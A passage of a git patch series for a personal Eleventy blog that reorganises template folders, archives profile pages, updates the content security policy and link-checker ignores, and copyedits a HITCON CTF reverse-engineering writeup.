_includes/layouts/journey.njk rename to archive/journey.njk diff --git a/_data/journey.yml b/archive/journey.yml similarity index 100% rename from _data/journey.yml rename to archive/journey.yml From 8dafaa5539c763c882a20c322b27d320078f8cb6 Mon Sep 17 00:00:00 2001 From: TrebledJ <39648915+TrebledJ@users.noreply.github.com> Date: Sun, 18 Aug 2024 02:38:54 +0800 Subject: [PATCH 12/34] chore: move _includes and _data away from `_site` makes it easier to find things, hopefully --- eleventy.config.js | 4 ++-- {_data => partials/_data}/csp.js | 0 {_data => partials/_data}/feedtags.js | 0 {_data => partials/_data}/profile.yml | 0 {_data => partials/_data}/site.js | 0 {_includes => partials/_includes}/author/awards.html | 0 {_includes => partials/_includes}/author/education.html | 0 {_includes => partials/_includes}/author/experiences.html | 0 {_includes => partials/_includes}/author/projects.html | 0 {_includes => partials/_includes}/author/skill-item.html | 0 {_includes => partials/_includes}/author/skills.html | 0 {_includes => partials/_includes}/author/social-links.html | 0 {_includes => partials/_includes}/author/social.html | 0 .../_includes}/author/work-experiences.html | 0 {_includes => partials/_includes}/banner.html | 0 {_includes => partials/_includes}/footer.html | 0 {_includes => partials/_includes}/head.html | 0 {_includes => partials/_includes}/header.html | 0 {_includes => partials/_includes}/home/about-me.html | 0 {_includes => partials/_includes}/home/contact-form.html | 0 {_includes => partials/_includes}/home/contact.html | 0 {_includes => partials/_includes}/home/hero.html | 0 {_includes => partials/_includes}/home/recents.html | 0 {_includes => partials/_includes}/home/topic-preview.html | 0 .../_includes}/layouts/default-container.njk | 0 {_includes => partials/_includes}/layouts/default-full.njk | 0 {_includes => partials/_includes}/layouts/default.njk | 0 {_includes => partials/_includes}/layouts/feed.njk | 0 {_includes => partials/_includes}/layouts/page-default.njk | 0 {_includes => partials/_includes}/layouts/page-simple.njk | 0 {_includes => partials/_includes}/layouts/page-tag.njk | 0 {_includes => partials/_includes}/layouts/post-default.njk | 0 {_includes => partials/_includes}/layouts/post-music.njk | 0 {_includes => partials/_includes}/layouts/profile.njk | 0 {_includes => partials/_includes}/pagination-links.html | 0 {_includes => partials/_includes}/post/article.html | 0 {_includes => partials/_includes}/post/carousel.html | 0 {_includes => partials/_includes}/post/comments.html | 0 {_includes => partials/_includes}/post/metadata-preview.html | 0 {_includes => partials/_includes}/post/metadata.html | 0 {_includes => partials/_includes}/post/preview.html | 0 {_includes => partials/_includes}/post/related.html | 0 {_includes => partials/_includes}/post/share.html | 0 {_includes => partials/_includes}/sidebars/sidebar-utils.html | 0 .../_includes}/sidebars/tag-cloud-grouped-sidebar.html | 0 {_includes => partials/_includes}/sidebars/toc-sidebar.html | 0 {_includes => partials/_includes}/tag-cloud.html | 0 {_includes => partials/_includes}/tag.html | 0 {_includes => partials/_includes}/toc.html | 0 {_includes => partials/_includes}/track.html | 0 {_includes => partials/_includes}/utilities/analytics.html | 0 {_includes => partials/_includes}/utilities/async-css.html | 0 {_includes => partials/_includes}/utilities/bundle-js.html | 0 {_includes => partials/_includes}/utilities/disqus.html | 0 {_includes => partials/_includes}/utilities/katex.html | 0 {_includes => partials/_includes}/utilities/mathjax.html | 0 .../_includes}/utilities/metadata-article.html | 0 {_includes => partials/_includes}/utilities/metadata.html | 0 .../_includes}/utilities/mobile-go-to-tags.html | 0 {_includes => partials/_includes}/utilities/mobile-toc.html | 0 .../_includes}/utilities/scroll-to-top.html | 0 {_includes => partials/_includes}/utilities/theme-switch.html | 0 62 files changed, 2 insertions(+), 2 deletions(-) rename {_data => partials/_data}/csp.js (100%) rename {_data => partials/_data}/feedtags.js (100%) rename {_data => partials/_data}/profile.yml (100%) rename {_data => partials/_data}/site.js (100%) rename {_includes => partials/_includes}/author/awards.html (100%) rename {_includes => partials/_includes}/author/education.html (100%) rename {_includes => partials/_includes}/author/experiences.html (100%) rename {_includes => partials/_includes}/author/projects.html (100%) rename {_includes => partials/_includes}/author/skill-item.html (100%) rename {_includes => partials/_includes}/author/skills.html (100%) rename {_includes => partials/_includes}/author/social-links.html (100%) rename {_includes => partials/_includes}/author/social.html (100%) rename {_includes => partials/_includes}/author/work-experiences.html (100%) rename {_includes => partials/_includes}/banner.html (100%) rename {_includes => partials/_includes}/footer.html (100%) rename {_includes => partials/_includes}/head.html (100%) rename {_includes => partials/_includes}/header.html (100%) rename {_includes => partials/_includes}/home/about-me.html (100%) rename {_includes => partials/_includes}/home/contact-form.html (100%) rename {_includes => partials/_includes}/home/contact.html (100%) rename {_includes => partials/_includes}/home/hero.html (100%) rename {_includes => partials/_includes}/home/recents.html (100%) rename {_includes => partials/_includes}/home/topic-preview.html (100%) rename {_includes => partials/_includes}/layouts/default-container.njk (100%) rename {_includes => partials/_includes}/layouts/default-full.njk (100%) rename {_includes => partials/_includes}/layouts/default.njk (100%) rename {_includes => partials/_includes}/layouts/feed.njk (100%) rename {_includes => partials/_includes}/layouts/page-default.njk (100%) rename {_includes => partials/_includes}/layouts/page-simple.njk (100%) rename {_includes => partials/_includes}/layouts/page-tag.njk (100%) rename {_includes => partials/_includes}/layouts/post-default.njk (100%) rename {_includes => partials/_includes}/layouts/post-music.njk (100%) rename {_includes => partials/_includes}/layouts/profile.njk (100%) rename {_includes => partials/_includes}/pagination-links.html (100%) rename {_includes => partials/_includes}/post/article.html (100%) rename {_includes => partials/_includes}/post/carousel.html (100%) rename {_includes => partials/_includes}/post/comments.html (100%) rename {_includes => partials/_includes}/post/metadata-preview.html (100%) rename {_includes => partials/_includes}/post/metadata.html (100%) rename {_includes => partials/_includes}/post/preview.html (100%) rename {_includes => partials/_includes}/post/related.html (100%) rename {_includes => partials/_includes}/post/share.html (100%) rename {_includes => partials/_includes}/sidebars/sidebar-utils.html (100%) rename {_includes => partials/_includes}/sidebars/tag-cloud-grouped-sidebar.html (100%) rename {_includes => partials/_includes}/sidebars/toc-sidebar.html (100%) rename {_includes => partials/_includes}/tag-cloud.html (100%) rename {_includes => partials/_includes}/tag.html (100%) rename {_includes => partials/_includes}/toc.html (100%) rename {_includes => partials/_includes}/track.html (100%) rename {_includes => partials/_includes}/utilities/analytics.html (100%) rename {_includes => partials/_includes}/utilities/async-css.html (100%) rename {_includes => partials/_includes}/utilities/bundle-js.html (100%) rename {_includes => partials/_includes}/utilities/disqus.html (100%) rename {_includes => partials/_includes}/utilities/katex.html (100%) rename {_includes => partials/_includes}/utilities/mathjax.html (100%) rename {_includes => partials/_includes}/utilities/metadata-article.html (100%) rename {_includes => partials/_includes}/utilities/metadata.html (100%) rename {_includes => partials/_includes}/utilities/mobile-go-to-tags.html (100%) rename {_includes => partials/_includes}/utilities/mobile-toc.html (100%) rename {_includes => partials/_includes}/utilities/scroll-to-top.html (100%) rename {_includes => partials/_includes}/utilities/theme-switch.html (100%) diff --git a/eleventy.config.js b/eleventy.config.js index eb397ea8e..73b078cce 100644 --- a/eleventy.config.js +++ b/eleventy.config.js @@ -175,8 +175,8 @@ module.exports = function (eleventyConfig) { // These are all optional: dir: { input: 'content', // default: "." - includes: '../_includes', // default: "_includes" - data: '../_data', // default: "_data" + includes: '../partials/_includes', // default: "_includes" + data: '../partials/_data', // default: "_data" output: '_site', }, diff --git a/_data/csp.js b/partials/_data/csp.js similarity index 100% rename from _data/csp.js rename to partials/_data/csp.js diff --git a/_data/feedtags.js b/partials/_data/feedtags.js similarity index 100% rename from _data/feedtags.js rename to partials/_data/feedtags.js diff --git a/_data/profile.yml b/partials/_data/profile.yml similarity index 100% rename from _data/profile.yml rename to partials/_data/profile.yml diff --git a/_data/site.js b/partials/_data/site.js similarity index 100% rename from _data/site.js rename to partials/_data/site.js diff --git a/_includes/author/awards.html b/partials/_includes/author/awards.html similarity index 100% rename from _includes/author/awards.html rename to partials/_includes/author/awards.html diff --git a/_includes/author/education.html b/partials/_includes/author/education.html similarity index 100% rename from _includes/author/education.html rename to partials/_includes/author/education.html diff --git a/_includes/author/experiences.html b/partials/_includes/author/experiences.html similarity index 100% rename from _includes/author/experiences.html rename to partials/_includes/author/experiences.html diff --git a/_includes/author/projects.html b/partials/_includes/author/projects.html similarity index 100% rename from _includes/author/projects.html rename to partials/_includes/author/projects.html diff --git a/_includes/author/skill-item.html b/partials/_includes/author/skill-item.html similarity index 100% rename from _includes/author/skill-item.html rename to partials/_includes/author/skill-item.html diff --git a/_includes/author/skills.html b/partials/_includes/author/skills.html similarity index 100% rename from _includes/author/skills.html rename to partials/_includes/author/skills.html diff --git a/_includes/author/social-links.html b/partials/_includes/author/social-links.html similarity index 100% rename from _includes/author/social-links.html rename to partials/_includes/author/social-links.html diff --git a/_includes/author/social.html b/partials/_includes/author/social.html similarity index 100% rename from _includes/author/social.html rename to partials/_includes/author/social.html diff --git a/_includes/author/work-experiences.html b/partials/_includes/author/work-experiences.html similarity index 100% rename from _includes/author/work-experiences.html rename to partials/_includes/author/work-experiences.html diff --git a/_includes/banner.html b/partials/_includes/banner.html similarity index 100% rename from _includes/banner.html rename to partials/_includes/banner.html diff --git a/_includes/footer.html b/partials/_includes/footer.html similarity index 100% rename from _includes/footer.html rename to partials/_includes/footer.html diff --git a/_includes/head.html b/partials/_includes/head.html similarity index 100% rename from _includes/head.html rename to partials/_includes/head.html diff --git a/_includes/header.html b/partials/_includes/header.html similarity index 100% rename from _includes/header.html rename to partials/_includes/header.html diff --git a/_includes/home/about-me.html b/partials/_includes/home/about-me.html similarity index 100% rename from _includes/home/about-me.html rename to partials/_includes/home/about-me.html diff --git a/_includes/home/contact-form.html b/partials/_includes/home/contact-form.html similarity index 100% rename from _includes/home/contact-form.html rename to partials/_includes/home/contact-form.html diff --git a/_includes/home/contact.html b/partials/_includes/home/contact.html similarity index 100% rename from _includes/home/contact.html rename to partials/_includes/home/contact.html diff --git a/_includes/home/hero.html b/partials/_includes/home/hero.html similarity index 100% rename from _includes/home/hero.html rename to partials/_includes/home/hero.html diff --git a/_includes/home/recents.html b/partials/_includes/home/recents.html similarity index 100% rename from _includes/home/recents.html rename to partials/_includes/home/recents.html diff --git a/_includes/home/topic-preview.html b/partials/_includes/home/topic-preview.html similarity index 100% rename from _includes/home/topic-preview.html rename to partials/_includes/home/topic-preview.html diff --git a/_includes/layouts/default-container.njk b/partials/_includes/layouts/default-container.njk similarity index 100% rename from _includes/layouts/default-container.njk rename to partials/_includes/layouts/default-container.njk diff --git a/_includes/layouts/default-full.njk b/partials/_includes/layouts/default-full.njk similarity index 100% rename from _includes/layouts/default-full.njk rename to partials/_includes/layouts/default-full.njk diff --git a/_includes/layouts/default.njk b/partials/_includes/layouts/default.njk similarity index 100% rename from _includes/layouts/default.njk rename to partials/_includes/layouts/default.njk diff --git a/_includes/layouts/feed.njk b/partials/_includes/layouts/feed.njk similarity index 100% rename from _includes/layouts/feed.njk rename to partials/_includes/layouts/feed.njk diff --git a/_includes/layouts/page-default.njk b/partials/_includes/layouts/page-default.njk similarity index 100% rename from _includes/layouts/page-default.njk rename to partials/_includes/layouts/page-default.njk diff --git a/_includes/layouts/page-simple.njk b/partials/_includes/layouts/page-simple.njk similarity index 100% rename from _includes/layouts/page-simple.njk rename to partials/_includes/layouts/page-simple.njk diff --git a/_includes/layouts/page-tag.njk b/partials/_includes/layouts/page-tag.njk similarity index 100% rename from _includes/layouts/page-tag.njk rename to partials/_includes/layouts/page-tag.njk diff --git a/_includes/layouts/post-default.njk b/partials/_includes/layouts/post-default.njk similarity index 100% rename from _includes/layouts/post-default.njk rename to partials/_includes/layouts/post-default.njk diff --git a/_includes/layouts/post-music.njk b/partials/_includes/layouts/post-music.njk similarity index 100% rename from _includes/layouts/post-music.njk rename to partials/_includes/layouts/post-music.njk diff --git a/_includes/layouts/profile.njk b/partials/_includes/layouts/profile.njk similarity index 100% rename from _includes/layouts/profile.njk rename to partials/_includes/layouts/profile.njk diff --git a/_includes/pagination-links.html b/partials/_includes/pagination-links.html similarity index 100% rename from _includes/pagination-links.html rename to partials/_includes/pagination-links.html diff --git a/_includes/post/article.html b/partials/_includes/post/article.html similarity index 100% rename from _includes/post/article.html rename to partials/_includes/post/article.html diff --git a/_includes/post/carousel.html b/partials/_includes/post/carousel.html similarity index 100% rename from _includes/post/carousel.html rename to partials/_includes/post/carousel.html diff --git a/_includes/post/comments.html b/partials/_includes/post/comments.html similarity index 100% rename from _includes/post/comments.html rename to partials/_includes/post/comments.html diff --git a/_includes/post/metadata-preview.html b/partials/_includes/post/metadata-preview.html similarity index 100% rename from _includes/post/metadata-preview.html rename to partials/_includes/post/metadata-preview.html diff --git a/_includes/post/metadata.html b/partials/_includes/post/metadata.html similarity index 100% rename from _includes/post/metadata.html rename to partials/_includes/post/metadata.html diff --git a/_includes/post/preview.html b/partials/_includes/post/preview.html similarity index 100% rename from _includes/post/preview.html rename to partials/_includes/post/preview.html diff --git a/_includes/post/related.html b/partials/_includes/post/related.html similarity index 100% rename from _includes/post/related.html rename to partials/_includes/post/related.html diff --git a/_includes/post/share.html b/partials/_includes/post/share.html similarity index 100% rename from _includes/post/share.html rename to partials/_includes/post/share.html diff --git a/_includes/sidebars/sidebar-utils.html b/partials/_includes/sidebars/sidebar-utils.html similarity index 100% rename from _includes/sidebars/sidebar-utils.html rename to partials/_includes/sidebars/sidebar-utils.html diff --git a/_includes/sidebars/tag-cloud-grouped-sidebar.html b/partials/_includes/sidebars/tag-cloud-grouped-sidebar.html similarity index 100% rename from _includes/sidebars/tag-cloud-grouped-sidebar.html rename to partials/_includes/sidebars/tag-cloud-grouped-sidebar.html diff --git a/_includes/sidebars/toc-sidebar.html b/partials/_includes/sidebars/toc-sidebar.html similarity index 100% rename from _includes/sidebars/toc-sidebar.html rename to partials/_includes/sidebars/toc-sidebar.html diff --git a/_includes/tag-cloud.html b/partials/_includes/tag-cloud.html similarity index 100% rename from _includes/tag-cloud.html rename to partials/_includes/tag-cloud.html diff --git a/_includes/tag.html b/partials/_includes/tag.html similarity index 100% rename from _includes/tag.html rename to partials/_includes/tag.html diff --git a/_includes/toc.html b/partials/_includes/toc.html similarity index 100% rename from _includes/toc.html rename to partials/_includes/toc.html diff --git a/_includes/track.html b/partials/_includes/track.html similarity index 100% rename from _includes/track.html rename to partials/_includes/track.html diff --git a/_includes/utilities/analytics.html b/partials/_includes/utilities/analytics.html similarity index 100% rename from _includes/utilities/analytics.html rename to partials/_includes/utilities/analytics.html diff --git a/_includes/utilities/async-css.html b/partials/_includes/utilities/async-css.html similarity index 100% rename from _includes/utilities/async-css.html rename to partials/_includes/utilities/async-css.html diff --git a/_includes/utilities/bundle-js.html b/partials/_includes/utilities/bundle-js.html similarity index 100% rename from _includes/utilities/bundle-js.html rename to partials/_includes/utilities/bundle-js.html diff --git a/_includes/utilities/disqus.html b/partials/_includes/utilities/disqus.html similarity index 100% rename from _includes/utilities/disqus.html rename to partials/_includes/utilities/disqus.html diff --git a/_includes/utilities/katex.html b/partials/_includes/utilities/katex.html similarity index 100% rename from _includes/utilities/katex.html rename to partials/_includes/utilities/katex.html diff --git a/_includes/utilities/mathjax.html b/partials/_includes/utilities/mathjax.html similarity index 100% rename from _includes/utilities/mathjax.html rename to partials/_includes/utilities/mathjax.html diff --git a/_includes/utilities/metadata-article.html b/partials/_includes/utilities/metadata-article.html similarity index 100% rename from _includes/utilities/metadata-article.html rename to partials/_includes/utilities/metadata-article.html diff --git a/_includes/utilities/metadata.html b/partials/_includes/utilities/metadata.html similarity index 100% rename from _includes/utilities/metadata.html rename to partials/_includes/utilities/metadata.html diff --git a/_includes/utilities/mobile-go-to-tags.html b/partials/_includes/utilities/mobile-go-to-tags.html similarity index 100% rename from _includes/utilities/mobile-go-to-tags.html rename to partials/_includes/utilities/mobile-go-to-tags.html diff --git a/_includes/utilities/mobile-toc.html b/partials/_includes/utilities/mobile-toc.html similarity index 100% rename from _includes/utilities/mobile-toc.html rename to partials/_includes/utilities/mobile-toc.html diff --git a/_includes/utilities/scroll-to-top.html b/partials/_includes/utilities/scroll-to-top.html similarity index 100% rename from _includes/utilities/scroll-to-top.html rename to partials/_includes/utilities/scroll-to-top.html diff --git a/_includes/utilities/theme-switch.html b/partials/_includes/utilities/theme-switch.html similarity index 100% rename from _includes/utilities/theme-switch.html rename to partials/_includes/utilities/theme-switch.html From fbf88bd7f3407c924f27b96f3ab2080eaab47d02 Mon Sep 17 00:00:00 2001 From: TrebledJ <39648915+TrebledJ@users.noreply.github.com> Date: Sun, 18 Aug 2024 02:53:23 +0800 Subject: [PATCH 13/34] chore: archive profile --- {pages => archive/profile}/profile.md | 3 +-- .../author => archive/profile/profile}/awards.html | 5 +++-- .../author => archive/profile/profile}/education.html | 5 +++-- .../profile/profile}/experiences.html | 10 +++++----- .../author => archive/profile/profile}/projects.html | 10 +++++----- .../author => archive/profile/profile}/skill-item.html | 0 .../author => archive/profile/profile}/skills.html | 5 +++-- .../profile/profile}/work-experiences.html | 5 +++-- 8 files changed, 23 insertions(+), 20 deletions(-) rename {pages => archive/profile}/profile.md (76%) rename {partials/_includes/author => archive/profile/profile}/awards.html (94%) rename {partials/_includes/author => archive/profile/profile}/education.html (96%) rename {partials/_includes/author => archive/profile/profile}/experiences.html (70%) rename {partials/_includes/author => archive/profile/profile}/projects.html (70%) rename {partials/_includes/author => archive/profile/profile}/skill-item.html (100%) rename {partials/_includes/author => archive/profile/profile}/skills.html (89%) rename {partials/_includes/author => archive/profile/profile}/work-experiences.html (95%) diff --git a/pages/profile.md b/archive/profile/profile.md similarity index 76% rename from pages/profile.md rename to archive/profile/profile.md index ecdd9c95b..7c09aef50 100644 --- a/pages/profile.md +++ b/archive/profile/profile.md @@ -1,7 +1,6 @@ --- title: TrebledJ's Profile -layout: profile -permalink: /profile/ +layout: layouts/profile redirect_from: - /online-cv - /cv diff --git a/partials/_includes/author/awards.html b/archive/profile/profile/awards.html similarity index 94% rename from partials/_includes/author/awards.html rename to archive/profile/profile/awards.html index bd3c0aab0..6766d9566 100644 --- a/partials/_includes/author/awards.html +++ b/archive/profile/profile/awards.html @@ -1,4 +1,5 @@ -
      +

      TODO

      +{#
        {% for award in site.data.profile.awards %}
      • @@ -24,4 +25,4 @@

        {{award.description | mdInline}}

      • {% endfor %} -
      \ No newline at end of file +
    #} \ No newline at end of file diff --git a/partials/_includes/author/education.html b/archive/profile/profile/education.html similarity index 96% rename from partials/_includes/author/education.html rename to archive/profile/profile/education.html index 068138bd2..7fe202f29 100644 --- a/partials/_includes/author/education.html +++ b/archive/profile/profile/education.html @@ -1,4 +1,5 @@ -
      +

      TODO

      +{#
        {% for detail in site.data.profile.education_details %}
      • @@ -30,4 +31,4 @@

        {% endfor %}

      • {% endfor %} -
      \ No newline at end of file +
    #} \ No newline at end of file diff --git a/partials/_includes/author/experiences.html b/archive/profile/profile/experiences.html similarity index 70% rename from partials/_includes/author/experiences.html rename to archive/profile/profile/experiences.html index 7304d795b..0e7167568 100644 --- a/partials/_includes/author/experiences.html +++ b/archive/profile/profile/experiences.html @@ -1,18 +1,18 @@
      - {% for post in site.tags["experience"] %} + {% for post in collections.experience %}
    • -

      {{post.title | mdInline | safe}}

      +

      {{post.data.title | mdInline | safe}}

      - {{post.date | date | safe }} - {% set nonproj_tags = post.tags | where_exp: "tag", "tag != 'experience'" %} + {{post.page.date | date | safe }} + {% set nonproj_tags = post.data.tags | exclude("experience") %} {% for tag in nonproj_tags | head(3) %}  •  {% include "tag.html" %} {% endfor %} -

      {{post.pitch}}

      +

      {{post.data.pitch}}

    • {% endfor %}
    \ No newline at end of file diff --git a/partials/_includes/author/projects.html b/archive/profile/profile/projects.html similarity index 70% rename from partials/_includes/author/projects.html rename to archive/profile/profile/projects.html index bc3832181..2194ac2b6 100644 --- a/partials/_includes/author/projects.html +++ b/archive/profile/profile/projects.html @@ -1,18 +1,18 @@
      - {% for post in site.tags["project"] %} + {% for post in collections.project %}
    • -

      {{post.title | mdInline | safe}}

      +

      {{post.data.title | mdInline | safe}}

      - {{post.date | date | safe }} - {% set nonproj_tags = post.tags | where_exp: "tag", "tag != 'project'" %} + {{post.page.date | date | safe }} + {% set nonproj_tags = post.data.tags | exclude("project") %} {% for tag in nonproj_tags | head(3) %}  •  {% include "tag.html" %} {% endfor %} -

      {{post.pitch}}

      +

      {{post.data.pitch}}

    • {% endfor %}
    \ No newline at end of file diff --git a/partials/_includes/author/skill-item.html b/archive/profile/profile/skill-item.html similarity index 100% rename from partials/_includes/author/skill-item.html rename to archive/profile/profile/skill-item.html diff --git a/partials/_includes/author/skills.html b/archive/profile/profile/skills.html similarity index 89% rename from partials/_includes/author/skills.html rename to archive/profile/profile/skills.html index 4443c81b7..03412813e 100644 --- a/partials/_includes/author/skills.html +++ b/archive/profile/profile/skills.html @@ -1,4 +1,5 @@ -{% for set in site.data.profile.skills %} +

    TODO

    +{# {% for set in site.data.profile.skills %}
    {{set.category}}

    @@ -15,4 +16,4 @@ {% endfor %} {% endfor %} {% endfor %} -{% endfor %} \ No newline at end of file +{% endfor %} #} \ No newline at end of file diff --git a/partials/_includes/author/work-experiences.html b/archive/profile/profile/work-experiences.html similarity index 95% rename from partials/_includes/author/work-experiences.html rename to archive/profile/profile/work-experiences.html index 562a78615..2c93b1648 100644 --- a/partials/_includes/author/work-experiences.html +++ b/archive/profile/profile/work-experiences.html @@ -1,4 +1,5 @@ -
      +

      TODO

      +{#
        {% for exp in site.data.profile.work_experiences %} {% if exp.visibility %}
      • @@ -22,4 +23,4 @@

      • {% endif %} {% endfor %} -
      \ No newline at end of file +
    #} \ No newline at end of file From e24acea0bb8468e8b863187f612819215fdec2ed Mon Sep 17 00:00:00 2001 From: TrebledJ <39648915+TrebledJ@users.noreply.github.com> Date: Sun, 18 Aug 2024 02:53:45 +0800 Subject: [PATCH 14/34] chore: remove obsolete subfolder --- ust/index.php | 4 ---- 1 file changed, 4 deletions(-) delete mode 100644 ust/index.php diff --git a/ust/index.php b/ust/index.php deleted file mode 100644 index 6279bcc93..000000000 --- a/ust/index.php +++ /dev/null @@ -1,4 +0,0 @@ - \ No newline at end of file From 6cae356488b7f9df3ab3fc2b13325cb08cb79046 Mon Sep 17 00:00:00 2001 From: TrebledJ <39648915+TrebledJ@users.noreply.github.com> Date: Sun, 18 Aug 2024 03:10:58 +0800 Subject: [PATCH 15/34] content: minor copyedit wow who wrote this article? much grammar oversight --- .../ctf/hitcon23/2023-09-20-hitcon-2023-the-blade.md | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/content/posts/ctf/hitcon23/2023-09-20-hitcon-2023-the-blade.md b/content/posts/ctf/hitcon23/2023-09-20-hitcon-2023-the-blade.md index bfac80123..69e19029d 100644 --- a/content/posts/ctf/hitcon23/2023-09-20-hitcon-2023-the-blade.md +++ b/content/posts/ctf/hitcon23/2023-09-20-hitcon-2023-the-blade.md @@ -7,14 +7,14 @@ tags: - python - programming thumbnail_src: assets/hitcon-thumbnail.jpg +preamble: | + This writeup is also intended for beginners. I’ll be taking a didactic approach to this writeup, with some sections starting with questions for guidance.^[Also, a good excuse for me to introduce !!spoilers!! to this site!] Anytime there's a set of questions, feel free to pause, challenge yourself, and think through them. :) If you want to follow along, you can grab the challenge binary [*here*](https://github.com/TrebledJ/ctf-binaries/tree/c8e9259c8f7d9cee149d99269d9b691cf54e53b9/hitcon-2023/the-blade). + + I'll be mainly using [ghidra](https://ghidra-sre.org/) as my decompiler, along with GDB + GEF. For those unfamiliar with GDB, you may find my [recently posted cheatsheet](/posts/gdb-cheatsheet) helpful. --- My first Rust {% tag "rev", "reverse" %} solve! Though in hindsight, not much Rust knowledge was needed. -This writeup is also intended for beginners. I’ll be taking a didactic approach to this writeup, with some sections starting with questions for guidance.^[Also, a good excuse for me to introduce !!spoilers!! to this site!] Anytime there's a set of questions, feel free to pause, challenge yourself, and try thinking through them. :) If you want to follow along, you can grab the challenge binary [*here*](https://github.com/TrebledJ/ctf-binaries/tree/c8e9259c8f7d9cee149d99269d9b691cf54e53b9/hitcon-2023/the-blade). - -I'll be mainly using [ghidra](https://ghidra-sre.org/) as my decompiler, along with GDB + GEF. For those unfamiliar with GDB, you may find my [recently posted cheatsheet](/posts/gdb-cheatsheet) helpful. - ## Description > *A Rust tool for executing shellcode in a seccomp environment. Your goal is to pass the hidden flag checker concealed in the binary.* @@ -28,7 +28,7 @@ Author: [wxrdnx](https://github.com/wxrdnx) Let’s start by running the binary. We can get a feel by navigating the program with `help` and other commands. -Turns out we’re given a C2 (Command and Control) interface which sends shellcodes. Imagine we control a compromised machine. By running a malicious shellcode, we can trigger a reverse shell to our server, so that we can easily send more commands from the server. +Turns out we’re given a C2 (Command and Control) interface which sends shellcode. Imagine we control a compromised machine. By running a malicious shellcode, we can trigger a reverse shell to our server, so that we can easily send more commands from the server. Anyhow, we can start the server with: @@ -114,7 +114,7 @@ Time to play the UNO reverse card on this binary! - There are 3 parts to the encryption. What addresses do they begin and end? - What is each part doing? -Let’s recognise some highs level patterns. +Let’s recognise some high level patterns. It’s easy to be intimidated by the multitude of loops; but really, half the loops are the same, just wearing different clothes. From 6596c6c12106571fe5037b016f105d1c1deb4f23 Mon Sep 17 00:00:00 2001 From: TrebledJ <39648915+TrebledJ@users.noreply.github.com> Date: Tue, 20 Aug 2024 22:22:05 +0800 Subject: [PATCH 16/34] fix: broken links --- .lycheeignore | 1 + .../aoc-2021/2022-08-09-aoc-2021-haskell-utils.md | 6 +++--- 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/.lycheeignore b/.lycheeignore index 00c231c2c..ce9115aec 100644 --- a/.lycheeignore +++ b/.lycheeignore @@ -4,6 +4,7 @@ https://www.parrotsec.org/download/ https://www.electronics-tutorials.ws/waveforms/waveforms.html https://www.st.com/resource/en/reference_manual/rm0090-stm32f405415-stm32f407417-stm32f427437-and-stm32f429439-advanced-armbased-32bit-mcus-stmicroelectronics.pdf https://www.google.com/doodles/alan-turings-100th-birthday +https://web.archive.org/ # False positive from marp HTML. http://highlightjs.readthedocs.io/en/latest/style-guide.html \ No newline at end of file diff --git a/content/posts/programming/aoc-2021/2022-08-09-aoc-2021-haskell-utils.md b/content/posts/programming/aoc-2021/2022-08-09-aoc-2021-haskell-utils.md index 3c6e583a3..dfcf0be3e 100644 --- a/content/posts/programming/aoc-2021/2022-08-09-aoc-2021-haskell-utils.md +++ b/content/posts/programming/aoc-2021/2022-08-09-aoc-2021-haskell-utils.md @@ -347,7 +347,7 @@ part2_intersect cmds = ... [aoc-utils]: https://github.com/TrebledJ/aoc/blob/master/2021/haskell/src/Utils.hs [aoc-haskell]: https://github.com/TrebledJ/aoc/tree/master/2021/haskell/app -[lyah]: http://learnyouahaskell.com/chapters -[lyah-folds]: http://learnyouahaskell.com/higher-order-functions#folds -[lyah-guards]: http://learnyouahaskell.com/syntax-in-functions#guards-guards +[lyah]: https://learnyouahaskell.github.io/chapters +[lyah-folds]: https://learnyouahaskell.github.io/higher-order-functions#folds +[lyah-guards]: https://learnyouahaskell.github.io/syntax-in-functions#guards-guards [data-hashmap-strict]: https://hackage.haskell.org/package/unordered-containers-0.2.19.1/docs/Data-HashMap-Strict.html From 31e54349afded3097080582d3392b03c33117492 Mon Sep 17 00:00:00 2001 From: TrebledJ <39648915+TrebledJ@users.noreply.github.com> Date: Mon, 26 Aug 2024 11:11:54 +0800 Subject: [PATCH 17/34] feat: test comments --- partials/_includes/post/comments.html | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/partials/_includes/post/comments.html b/partials/_includes/post/comments.html index da4e56f97..590141e1f 100644 --- a/partials/_includes/post/comments.html +++ b/partials/_includes/post/comments.html @@ -5,7 +5,9 @@ #} -

    Commenting has vanished into a blackhole and shall return some time in the future (or past?)! Time paradoxes not guaranteed. If you have any feedback or suggestions, please direct your subspace frequencies to the contact form. Thanks!

    + {#

    Commenting has vanished into a blackhole and shall return some time in the future (or past?)! Time paradoxes not guaranteed. If you have any feedback or suggestions, please direct your subspace frequencies to the contact form. Thanks!

    #} + + {% else %} {# Never enable Disqus comments in non-prod. It'll mess with their identifier machinery. #}

    Comments have been disabled in non-production.

    From 611aef15c70e48d4ed625871e2b5174e1f880a29 Mon Sep 17 00:00:00 2001 From: TrebledJ <39648915+TrebledJ@users.noreply.github.com> Date: Mon, 26 Aug 2024 11:18:09 +0800 Subject: [PATCH 18/34] chore: update csp --- partials/_data/csp.js | 1 + 1 file changed, 1 insertion(+) diff --git a/partials/_data/csp.js b/partials/_data/csp.js index a94fcf6c4..fde0d4da8 100644 --- a/partials/_data/csp.js +++ b/partials/_data/csp.js @@ -28,6 +28,7 @@ module.exports = compileCsp( // unsafe-inline. .add(...(process.env.ENVIRONMENT === 'fast' ? ["'unsafe-inline'"] : [])) // .add('*.disqus.com', '*.disquscdn.com') + .add('comments.trebledj.me') .add('code.jquery.com', 'cdn.jsdelivr.net') .add('gist.github.com') .add('static.cloudflareinsights.com'), From dea98763e189c00841374a944d7fa709bb2274f6 Mon Sep 17 00:00:00 2001 From: TrebledJ <39648915+TrebledJ@users.noreply.github.com> Date: Mon, 26 Aug 2024 11:21:06 +0800 Subject: [PATCH 19/34] chore: update csp --- partials/_data/csp.js | 1 + 1 file changed, 1 insertion(+) diff --git a/partials/_data/csp.js b/partials/_data/csp.js index fde0d4da8..c0cfe4f96 100644 --- a/partials/_data/csp.js +++ b/partials/_data/csp.js @@ -51,6 +51,7 @@ module.exports = compileCsp( // .add('disqus.com') .add('*.soundcloud.com'), tag('connect') + .add('comments.trebledj.me') .add('cloudflareinsights.com') .add('formcarry.com') // contact form , From cdeddde4a0a3ddba556b74d4b82025c3f36f6358 Mon Sep 17 00:00:00 2001 From: TrebledJ <39648915+TrebledJ@users.noreply.github.com> Date: Mon, 26 Aug 2024 17:01:37 +0800 Subject: [PATCH 20/34] fix: don't validate getrektd.html --- .htmlvalidateignore | 1 + 1 file changed, 1 